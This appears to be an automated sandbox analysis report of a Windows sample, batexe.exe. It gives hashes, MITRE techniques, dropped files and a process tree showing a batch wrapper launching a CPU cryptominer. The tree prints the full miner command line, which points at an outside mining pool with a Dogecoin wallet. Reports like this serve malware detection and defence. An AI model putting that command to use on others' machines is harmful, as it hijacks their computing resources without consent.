73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
302s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
21/02/2024, 17:49

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1712835645-2080934712-2142796781-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1712835645-2080934712-2142796781-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
464	b2e.exe
4680	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4680	cpuminer-sse2.exe
4680	cpuminer-sse2.exe
4680	cpuminer-sse2.exe
4680	cpuminer-sse2.exe
4680	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4788-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4788 wrote to memory of 464	4788	batexe.exe	87
PID 4788 wrote to memory of 464	4788	batexe.exe	87
PID 4788 wrote to memory of 464	4788	batexe.exe	87
PID 464 wrote to memory of 4304	464	b2e.exe	89
PID 464 wrote to memory of 4304	464	b2e.exe	89
PID 464 wrote to memory of 4304	464	b2e.exe	89
PID 4304 wrote to memory of 4680	4304	cmd.exe	92
PID 4304 wrote to memory of 4680	4304	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4788
- C:\Users\Admin\AppData\Local\Temp\5081.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5081.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5081.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:464
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\53CD.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4304
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5081.tmp\b2e.exe

Filesize
24.2MB

MD5
c870e80599f39dd8c5dce782fd881e03

SHA1
a3d1d7893716add0430ce169fce636932b632e01

SHA256
5070fe240bca46bf71a93ffa4dc3c901554b6853b0d5aa62db6c528d91d268f7

SHA512
6a92705d2b0832fd430c65ebf735b52e90e3be03d417ee8895e7604e2c073c11623b94e7324b72f7cb3f0d3c67b4456b2d8c94514faa8333e35134b00380e779

Download Submit
C:\Users\Admin\AppData\Local\Temp\5081.tmp\b2e.exe

Filesize
9.9MB

MD5
17fcb82fd9a48110194a5874407b036d

SHA1
1e551ad83aee589fe6e526c9c0156e7cf027b56c

SHA256
02ed79034bcbb008205f53961b760bbfd687cf66e76164cdac433d8cac61a921

SHA512
e24f5cc0c5b8e92b8ce86f854d80d12322ed8edcd75207f561eca0b6f9efc8482798cf40ca9cb88fa6bdf6c04d2b29218c0b9eba1b65f179645dbace6bacb9a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\5081.tmp\b2e.exe

Filesize
11.1MB

MD5
a1be827801286abff9177a7e5646c423

SHA1
57673df284195b4910e85e80f224965ea727b27b

SHA256
75e4df8ff04144471f5142ca23aa53ac3989912f20b14fdfd4f6e924ad450c6f

SHA512
54965b25ef9d70062180278732b66baa757263d49017a211ddbb898ebd436ed48262527ce6f625cc838fe2acf4a84e92ca2ccff7e7e618ab47f768a74cbb020e

Download Submit
C:\Users\Admin\AppData\Local\Temp\53CD.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.3MB

MD5
d14919c9c9312dedd399be88ab7f081f

SHA1
c5f2cee3851fff23ccb7138486b467eaec3d601f

SHA256
a6b41ff5c8fc8d3d5914f3a41c1646df1458fa262712e3f8eca581684a442219

SHA512
82d39b6a7dab1be3544dd8abcb530b9094d19c27d9d2f0496d4714d5aa376f0db52d28129f6ee3d10f961e4fb1d0e8fc5bfc71baa374f8792be076a6bae93f4d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.8MB

MD5
8ef1fd88e5a8e1c1def6ac5c7a64279a

SHA1
694287572f32735985c20022f93804cd6f086d8c

SHA256
14051f5b565b3935d2e6781c2d806854190c20c85975b4af03d09b161a683cfc

SHA512
462e468e9e3ba4ed95ff20f1697e7500f9431c0fdb30e59fba60ea354c901b688ff81d5ed712f5cdc9a5e34e39fae78877b860a08cfc3fca69affb52ab5817d2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.0MB

MD5
853983c862b65b3ac38dd52c20a5f6dc

SHA1
fe22d3cd439f7bf94422a4e2287d4c5d79c33d13

SHA256
f6a3474f23e1a84de0869b53dfe135e619b0eeca4b0032c484f2681fe9d74c3c

SHA512
154fbe8acf9a084c7bd9d05d080beab3d4ba8ae3d7501e9872c5b73fe911ff1283750d75e2d78448c9614225a158d39bda476ed030fbd45010c010f2d60234d4

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/464-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/464-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4680-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4680-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4680-46-0x0000000051E10000-0x0000000051EA8000-memory.dmp

Filesize
608KB

Download
memory/4680-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4680-47-0x0000000001110000-0x00000000029C5000-memory.dmp

Filesize
24.7MB

Download
memory/4680-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4680-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4680-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4680-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4680-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4680-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4680-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4680-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4680-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4680-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4680-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4680-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4788-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download